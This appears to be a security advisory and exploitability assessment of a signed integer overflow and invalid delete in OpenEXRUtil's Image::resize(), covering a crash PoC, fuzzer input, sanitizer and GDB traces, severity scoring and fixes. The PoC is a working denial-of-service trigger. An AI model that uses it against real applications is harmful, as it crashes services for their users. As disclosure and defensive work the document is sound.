Skip to content

GHSA-fp75-87pr-8329

CVE Information

OpenEXRUtil Image::resize() Integer Overflow / Invalid Delete: Exploitability Assessment

Target: AcademySoftwareFoundation/openexr
Commit tested: e9133442dda6139aa395d0e87f3b00e7f31199a6
Component: src/lib/OpenEXRUtil
Assessment date: 2026-06-08 UTC

Conclusion

I did not confirm RCE for this issue.

The issue is confirmed as a memory-safety denial-of-service bug:

  • public OpenEXRUtil API reachable;
  • signed integer overflow in image/level dimension calculation;
  • exception cleanup reaches Image::clearLevels();
  • _levels contains uninitialized ImageLevel* entries;
  • cleanup performs delete _levels[y][x];
  • sanitizer and non-sanitizer builds crash.

There is a theoretical control-flow concern because ImageLevel has a virtual destructor, so deleting a bogus ImageLevel* causes the runtime to read a vptr and perform an indirect destructor call. However, the current PoC only controls the Box2i coordinates and level parameters. I did not demonstrate control of the uninitialized pointer value, the pointed-to vtable, or RIP.

Recommended claim: DoS / memory corruption, not RCE.

Recommended severity: Medium unless a direct untrusted .exr loading path or reliable pointer/vtable control is later demonstrated.

Summary

OpenEXRUtil Image::resize() accepts an Imath::Box2i data window and computes level sizes using signed int arithmetic. Extreme but representable coordinate values can overflow these calculations.

When level construction throws after the overflow, Image::resize() catches the exception and calls clearLevels(). The _levels array has already been allocated with Array2D<ImageLevel*>::resizeErase(), but its pointer slots have not all been initialized. clearLevels() then deletes every slot, including uninitialized entries.

This produces an invalid delete / virtual destructor dispatch through an uninitialized pointer.

Affected Code

Signed integer overflow in level size calculation:

int a = max - min + 1;

Location:

src/lib/OpenEXRUtil/ImfImage.cpp:34

Additional signed dimension calculations:

int w = dataWindow.max.x - dataWindow.min.x + 1;
int h = dataWindow.max.y - dataWindow.min.y + 1;

Locations:

src/lib/OpenEXRUtil/ImfImage.cpp:118
src/lib/OpenEXRUtil/ImfImage.cpp:153

Exception cleanup path:

_levels.resizeErase (ny, nx);

...

_levels[y][x] = newLevel (x, y, levelDataWindow);

...

catch (...)
{
    clearLevels ();
    throw;
}

Locations:

src/lib/OpenEXRUtil/ImfImage.cpp:303
src/lib/OpenEXRUtil/ImfImage.cpp:318
src/lib/OpenEXRUtil/ImfImage.cpp:340

Invalid cleanup:

for (int y = 0; y < _levels.height (); ++y)
    for (int x = 0; x < _levels.width (); ++x)
        delete _levels[y][x];

Location:

src/lib/OpenEXRUtil/ImfImage.cpp:604-606

The underlying Array2D<T>::resizeErase() allocation does not value-initialize pointer entries:

T* tmp = new T[sizeX * sizeY];

Location:

src/lib/OpenEXR/ImfArray.h:214

ImageLevel has a virtual destructor:

virtual ~ImageLevel ();

Location:

src/lib/OpenEXRUtil/ImfImageLevel.h:54

Minimal Public API PoC

Existing reproducer:

afl-findings/poc/poc_image_resize_invalid_delete.cc

Source:

#include <ImfFlatImage.h>
#include <Imath/ImathBox.h>

#include <climits>

namespace IMF = OPENEXR_IMF_NAMESPACE;
namespace IM  = IMATH_NAMESPACE;

int
main ()
{
    IMF::FlatImage img;
    img.insertChannel ("R", IMF::HALF);

    img.resize (
        IM::Box2i (IM::V2i (1, INT_MIN), IM::V2i (1, 1)),
        IMF::ONE_LEVEL,
        IMF::ROUND_DOWN);

    return 0;
}

The triggering data window is:

min = (1, INT_MIN)
max = (1, 1)

The height calculation attempts:

1 - INT_MIN + 1

which overflows signed 32-bit int.

AFL-Derived Minimal Input

Existing minimized input:

afl-findings/triage/util_repro_crash.min.bin

Size:

24 bytes

Hex dump:

00000000: 30 30 30 30 30 00 30 30 30 30 30 30 30 30 30 30  00000.0000000000
00000010: 30 30 30 30 30 30 30 30                          00000000

Decoded fuzzer fields:

dataWindow = Box2i(V2i(1, INT_MIN), V2i(1, 1))
branch     = FlatImage
levelMode  = ONE_LEVEL
rounding   = ROUND_DOWN

Reproduction Commands

ASAN/UBSAN public API PoC:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=0 \
UBSAN_OPTIONS=halt_on_error=0:abort_on_error=0:print_stacktrace=0 \
afl-findings/poc/poc_image_resize_invalid_delete

Expected result:

runtime error: signed integer overflow
runtime error: member call on misaligned address 0xbebebebebebebebe
ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV in Imf_4_0::Image::clearLevels()

AFL-derived input:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=0 \
UBSAN_OPTIONS=halt_on_error=0:abort_on_error=0:print_stacktrace=0 \
_build.san/src/test/oss-fuzz/openexr_util_image_fuzzer \
  afl-findings/triage/util_repro_crash.min.bin

Non-sanitizer/AFL-instrumented local build check:

/usr/local/bin/afl-clang-fast++ -std=c++14 -O2 -g \
  -I/root/fuzz_target/src/lib/OpenEXR \
  -I/root/fuzz_target/_build.afl-asan/cmake \
  -I/root/fuzz_target/_build.afl-asan/_deps/imath-src/src/Imath \
  -I/root/fuzz_target/_build.afl-asan/_deps/imath-src/src \
  -I/root/fuzz_target/_build.afl-asan/_deps/imath-build/config \
  -I/root/fuzz_target/_build.afl-asan/OpenEXR_ImathIncludeCompat \
  -I/root/fuzz_target/src/lib/Iex \
  -I/root/fuzz_target/src/lib/IlmThread \
  -I/root/fuzz_target/src/lib/OpenEXRCore \
  -I/root/fuzz_target/src/lib/OpenEXRUtil \
  afl-findings/poc/poc_image_resize_invalid_delete.cc \
  -o /tmp/poc_image_resize_invalid_delete_afl_native \
  -Wl,-rpath,/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRUtil:/root/fuzz_target/_build.afl-asan/src/lib/OpenEXR:/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRCore:/root/fuzz_target/_build.afl-asan/_deps/imath-build/src/Imath:/root/fuzz_target/_build.afl-asan/src/lib/IlmThread:/root/fuzz_target/_build.afl-asan/src/lib/Iex \
  -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRUtil \
  -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXR \
  -L/root/fuzz_target/_build.afl-asan/src/lib/OpenEXRCore \
  -L/root/fuzz_target/_build.afl-asan/src/lib/IlmThread \
  -L/root/fuzz_target/_build.afl-asan/src/lib/Iex \
  -L/root/fuzz_target/_build.afl-asan/_deps/imath-build/src/Imath \
  -lOpenEXRUtil-4_0 -lOpenEXR-4_0 -lOpenEXRCore-4_0 \
  -lIlmThread-4_0 -lIex-4_0 -lImath-3_2 -lm -ldl

timeout -s KILL 5s /tmp/poc_image_resize_invalid_delete_afl_native

Observed result:

Segmentation fault
exit code: 139

Repeated local runs:

10/10 runs exited with SIGSEGV / 139

Sanitizer Evidence

Saved sanitizer output:

afl-findings/poc/poc_image_resize_invalid_delete.san.out
afl-findings/triage/clear_min.san.out

Key excerpts:

src/lib/OpenEXRUtil/ImfImage.cpp:34:20:
runtime error: signed integer overflow: 1 - -2147483648 cannot be represented in type 'int'
src/lib/OpenEXRUtil/ImfImageLevel.cpp:40:45:
runtime error: signed integer overflow: -2147483648 - 1 cannot be represented in type 'int'
src/lib/OpenEXRUtil/ImfImage.cpp:606:13:
runtime error: member call on misaligned address 0xbebebebebebebebe
ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV
Imf_4_0::Image::clearLevels()

0xbebebebebebebebe is ASAN's uninitialized heap fill pattern, which is consistent with use of an uninitialized pointer slot.

GDB Evidence

GDB against the non-sanitizer/AFL-instrumented PoC:

gdb -q -batch \
  -ex 'set pagination off' \
  -ex 'run' \
  -ex 'bt' \
  -ex 'info registers rip rax rdi rsi rdx rcx' \
  -ex 'x/6i $pc' \
  --args /tmp/poc_image_resize_invalid_delete_afl_native

Observed crash:

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fa587a in Imf_4_0::Image::clearLevels()
src/lib/OpenEXRUtil/ImfImage.cpp:606
606             delete _levels[y][x];

Backtrace:

#0 Imf_4_0::Image::clearLevels()
#1 Imf_4_0::Image::resize(...)
#2 main()

Registers and instruction at crash:

rip 0x7ffff7fa587a <Imf_4_0::Image::clearLevels()+154>
rdi 0x555555772

=> mov    (%rdi),%rax
   call   *0x8(%rax)

Interpretation:

  • rdi is the uninitialized ImageLevel* value selected from _levels.
  • The crash occurs while reading the vptr from that pointer.
  • The next instruction would be an indirect virtual destructor call.
  • The observed rdi value was not derived from the PoC input bytes in any demonstrated way.
  • RIP remained inside Image::clearLevels() at the faulting load; I did not observe control of RIP.

RCE Assessment

Confirmed primitive

Confirmed:

  • signed integer overflow;
  • invalid cleanup after exception;
  • uninitialized pointer read;
  • invalid delete of ImageLevel*;
  • virtual destructor dispatch path;
  • process crash in both sanitizer and non-sanitizer local builds.

Not confirmed

Not confirmed:

  • attacker-controlled uninitialized pointer value;
  • attacker-controlled fake ImageLevel object;
  • attacker-controlled fake vtable;
  • controlled indirect call target;
  • controlled RIP;
  • arbitrary read/write primitive;
  • direct trigger from standard .exr file loading.

Why this is not currently an RCE

The crash is caused by deleting an uninitialized pointer slot. For RCE, an attacker would need substantially more than the current PoC provides:

  1. A way to influence the exact uninitialized _levels[y][x] pointer value.
  2. A way to make that pointer reference attacker-controlled memory.
  3. A way to place a valid fake vtable or otherwise control the destructor call target.
  4. A practical bypass for normal process mitigations such as PIE/ASLR, NX, and RELRO.

The current trigger controls image coordinates and level mode. It does not provide direct control over heap contents or vtable pointers. Therefore the responsible conclusion is DoS / memory corruption, not RCE.

Exploitability note

The virtual destructor path means this should not be dismissed as a harmless null dereference. If a larger embedding application lets an attacker groom heap state before calling Image::resize(), the invalid delete could become more interesting. That remains theoretical in this assessment.

No working RCE exploit was produced.

Impact

An application that calls OpenEXRUtil Image::resize() / FlatImage::resize() with untrusted or insufficiently validated Box2i coordinates can be crashed.

Confirmed impact:

  • availability loss;
  • local process crash;
  • memory safety violation;
  • undefined behavior.

Not confirmed:

  • remote code execution;
  • information disclosure;
  • direct crafted .exr file trigger.

Suggested Severity

Recommended severity:

Medium

CVSS v4.0 suggestion:

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS v3.1 suggestion, if required:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

If direct file-parser reachability is later proven in a network service or server-side conversion workflow, the attack vector and user-interaction fields should be reassessed.

CWE

Primary:

CWE-190: Integer Overflow or Wraparound

Secondary:

CWE-824: Access of Uninitialized Pointer

Optional:

CWE-763: Release of Invalid Pointer or Reference

Suggested Fix

Fix both the arithmetic root cause and the cleanup robustness issue.

Use checked wider arithmetic for data-window dimensions:

int64_t w = int64_t(dataWindow.max.x) - int64_t(dataWindow.min.x) + 1;
int64_t h = int64_t(dataWindow.max.y) - int64_t(dataWindow.min.y) + 1;

Reject invalid dimensions before converting back to int:

  • w <= 0 or h <= 0;
  • w > INT_MAX or h > INT_MAX;
  • dimensions exceeding reasonable allocation limits.

Avoid overflow-prone checks such as:

dataWindow.min.y - 1

Initialize _levels immediately after allocation:

_levels.resizeErase(ny, nx);

for (int y = 0; y < ny; ++y)
    for (int x = 0; x < nx; ++x)
        _levels[y][x] = nullptr;

Make clearLevels() safe for partially constructed state:

for (int y = 0; y < _levels.height(); ++y)
{
    for (int x = 0; x < _levels.width(); ++x)
    {
        delete _levels[y][x];
        _levels[y][x] = nullptr;
    }
}

Pointer initialization prevents the invalid delete during exception cleanup, but it does not fix the integer overflow. Both fixes are needed.

Suggested Report Description

OpenEXRUtil contains a memory-safety issue in Image::resize() when processing
extreme but representable Imath::Box2i data windows.

The resize logic computes image and level dimensions using signed int
arithmetic. A data window such as min.y = INT_MIN and max.y = 1 causes signed
integer overflow during level-size calculation.

After the overflowed dimensions are used, level construction can throw. During
exception cleanup, Image::resize() calls Image::clearLevels(), which iterates
over an Array2D<ImageLevel*> allocated by resizeErase(). The pointer entries in
that array are not value-initialized before operations that may throw.

As a result, clearLevels() can attempt to delete an uninitialized ImageLevel*
slot. Since ImageLevel has a virtual destructor, this leads to a vptr read from
an invalid pointer and a crash. Under ASAN/UBSAN this appears as signed integer
overflow followed by a member call on 0xbebebebebebebebe and a SEGV in
Image::clearLevels().

The issue is reachable through the public OpenEXRUtil API, including
FlatImage::resize(). The confirmed impact is denial of service via process
crash. I did not confirm direct reachability from a crafted EXR file through the
standard file loading path, and I did not demonstrate RCE.